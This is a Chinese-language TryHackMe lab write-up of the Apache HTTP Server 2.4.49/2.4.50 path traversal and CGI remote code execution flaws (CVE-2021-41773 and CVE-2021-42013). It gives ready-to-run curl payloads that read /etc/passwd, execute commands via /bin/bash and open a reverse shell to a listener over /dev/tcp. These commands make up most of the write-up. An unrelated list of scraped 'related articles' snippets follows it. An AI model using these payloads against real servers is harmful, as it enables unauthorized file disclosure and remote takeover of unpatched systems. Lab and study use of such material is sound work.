来自tryhackeme的漏洞复现

CVE-2021-41773/42013

利用:路径遍历利用将允许服务器公开任意文件

需要启用mod_cgi模块才能获得远程代码执行

2021 年 10 月 5 日,一个 CVE 详细描述了对 Apache HTTP Server v2.4.49 的路径遍历攻击。分配编号为 CVE-2021-41773,发布时具有
以下描述: 在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目
录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,这些请求可能会成功。此外(原文如此)这个缺陷可能会泄露 CGI 脚
本等解释文件的来源。已知此问题在野外被利用。此问题仅影响 Apache 2.4.49,不影响更早的版本。 所以 Apache 修复了这个错误并发布了 v2.4.50。故事结束了,对吧?好吧,不完全是。仅仅 2 天后,即 10 月 7 日,一个新的 CVE 引用了之前的内容。这个提到对早期路径遍历攻击的修复是不完整的,如果有问题的路径使用别名指令将其 URL 映射到文件系统,我们仍然可以遍历。CVE编号为CVE-2021-42013,说明如下: 发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不足。攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录
之外的文件。如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,这些请求可以成功。如果还为这些别名路径
(sic) 启用了 CGI 脚本,这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,不影响更早的版本。 Apache 服务器中路径规范化模块的最新更改随后允许特制 URL 绕过过滤器并遍历文档根目录之外,从而允许在配置允许的情况下读取系统上的任意文件。此外,如果启用了 CGI 模块,则还可以执行任意文件! '.'进行url编码时为'%2e' '%%32%65'解码为'%2e'

通过阅读配置得知该cgi-bin路径在默认情况下是别名的,所以让我们使用它吧!该漏洞在 2.4.49 和 2.4.50 版本之间略有不同。

未启用 CGI 的 Apache 2.4.49

如果不启用 CGI,我们只能读取文件。使用 curl,我们只需访问我们想要的文件,.在每个路径段中对其中一个文件进行 url 编码。
curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd' 启用 CGI 的 Apache 2.4.49 为了执行代码,我们可以简单地调用shorbash主体中的命令。请注意,还必须发出 Content-Type 响应标头,以便客户端知道如何显示结果。 curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain" Apache 2.4.50 这个特殊的例子在版本 2.4.50 中得到修复。但是,修复不完整,无法解决 URL 的双重编码问题。在这种情况下,我们可以使用与以前版本相同的结构,路径如下: curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'

实践考试

-v 详细输出

没有 CGI 的 Apache 2.4.49:http://10.10.195.31:8080
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt' 带有 CGI 的 Apache 2.4.49:http://10.10.195.31:8081
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain" 没有 CGI 的 Apache 2.4.50:http://10.10.195.31:8082
curl 'http://10.10.195.31:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt' 带有 CGI 的 Apache 2.4.50:http://10.10.195.31:8083
curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;cat /flag.txt' -H "Content-Type: text/plain" 开启本地监听nc -lvnp 1234
反弹shell curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;sh -i >& /dev/tcp/10.14.46.2/1234 0>&1' -H "Content-Type: text/plain"

CVE-2021-41773 apache路径遍历的更多相关文章

  1. 路径遍历:ZIP条目覆盖

    程序在解压zip文件时,如果没有验证zip条目,攻击者可能对条目覆盖,从而造成路径遍历 例如:以下代码示例解压zip文件.    static final int BUFFER = 512;    / ...

  2. 5 X 5 方阵引出的寻路算法 之 路径遍历(完结)

      此篇文章源自对一个有趣问题的思考,在我的另一篇博文<一个有趣的 5 X 5 方阵一笔画问题>中有详细介绍.在已知其结论的情况下,作为程序员的我,还是想利用该问题当做出发点,写一个可以遍 ...

  3. 墨者学院靶场:uWSGI(CVE-2018-7490)路径遍历漏洞复现

    0x01漏洞简介 uWSGI是一款Web应用程序服务器,它实现了WSGI.uwsgi和http等协议.uWSGI 2.0.17之前版本中存在路径遍历漏洞,该漏洞源于程序没有正确的处理DOCUMENT_ ...

  4. Apache Flink上传路径遍历(CVE-2020-17518)

    影响版本 Flink1.5.1-1.11.2 复现 POST /jars/upload HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, def ...

  5. Apache Flink jobmanager/logs路径遍历CVE-2020-17519

    影响版本 1.11.0 1.11.1 1.11.2 poc http://192.168.49.2:8081/jobmanager/logs/..%252f..%252f..%252f..%252f. ...

  6. MFC 添加文件路径 遍历文件

    .添加MFC选择文件路径,使用MessageBox显示信息. void CMyCalLawsDlg::OnBnClickedAddfolder() { wchar_t* p; wchar_t szPa ...

  7. WEB渗透技术之浅析路径遍历

    1. 发送 http://www.nuanyue.com/getfile=image.jgp 当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://sit ...

  8. C 给定路径遍历目录下的所有文件

    在此之前需要了解 WIN32_FIND_DATA的结构 以及  FindFirstFile. FindNextFile原型以及用法注意事项传送门如下 https://msdn.microsoft.co ...

  9. CTF--HTTP服务--路径遍历(拿到www-data用户权限)

    开门见山 1. 扫描靶机ip,发现PCS 172.18.4.20 2. 用nmap扫描靶机开放服务及版本 3. 再扫描靶机的全部信息 4. 用nikto工具探测http服务敏感信息 5. 用dirb工 ...

  10. sys添加调用模块的路径;遍历可以调用模块的路径

    import sys sys.path.append("D:") for i in sys.path: print(i)

随机推荐

  1. SpringBoot——定制错误页面及原理

    更多内容,前往 IT-BLOG 一.SpringBoot 默认的错误处理机制 [1]浏览器返回的默认错误页面如下:  ​☞ 浏览器发送请求的请求头信息如下:text/html 会在后面的源码分析中说到 ...

  2. Java面试——Tomcat

    更多内容,前往个人博客 一.Tomcat 顶层架构 ​ Tomcat 中最顶层的容器是 Server,代表着整个服务器,从上图中可以看出,一个 Server可以包含至少一个 Service,用于具体提 ...

  3. 11.getshell常见思路与技巧

    getshell常见思路与技巧 1.常规打点思路 信息收集: 绕开CDN找到所有靶标的真实IP 找到所有目标真实的C段 对所有的C段进行基础服务器的探测,端口的扫描.识别 对所有目标的子域名进行收集 ...

  4. [Java JDK]ResultSet.next()

    1 JDK [jdk1.5doc] Moves the cursor down one row from its current position. A ResultSet cursor is ini ...

  5. 2023年成都.NET线下技术沙龙活动即将到来!

    MASA技术团队联合成都.NET俱乐部,将在成都市举办一场.NET线下技术沙龙,为.NET开发者创造一次交流学习的契机,我们邀请到的几位技术大咖,将会围绕各自的主题向大家分享他们的技术心得. 本场沙龙 ...

  6. docker 配置 Mysql主从集群

    docker 配置Mysql集群 Docker version 20.10.17, build 100c701 MySQL Image version: 8.0.32 Docker container ...

  7. CSS3-页面布局基础二——Box Model、边距折叠、内联与块标签

    一.盒子模型(Box Model) 盒子模型也有人称为框模型,HTML中的多数元素都会在浏览器中生成一个矩形的区域,每个区域包含四个组成部分,从外向内依次是:外边距(Margin).边框(Border ...

  8. 【LeetCode动态规划#10】完全背包问题实战,其三(单词拆分,涉及集合处理字符串)

    单词拆分 力扣题目链接(opens new window) 给定一个非空字符串 s 和一个包含非空单词的列表 wordDict,判定 s 是否可以被空格拆分为一个或多个在字典中出现的单词. 说明: 拆 ...

  9. python_7 退出、结束循环和嵌套循环

    一.查缺补漏 1. end=' 任意值 ' 表示换行,任意值会显示在换行前,不写默认换行 2. input() 用户键盘输入 默认输入str类型,如要和int类型比较需要强制类型转换二.退出.结束循环 ...

  10. 对dubbo的DubboReference.check的参数进行剖析

    背景 在使用dubbo的时候,发现当消费者启动的时候,如果提供者没有启动,即使提供者后来启动了,消费者也调不通提供者提供的接口了. 注册中心使用都是nacos dubbo版本是3.0.4 例子 接口 ...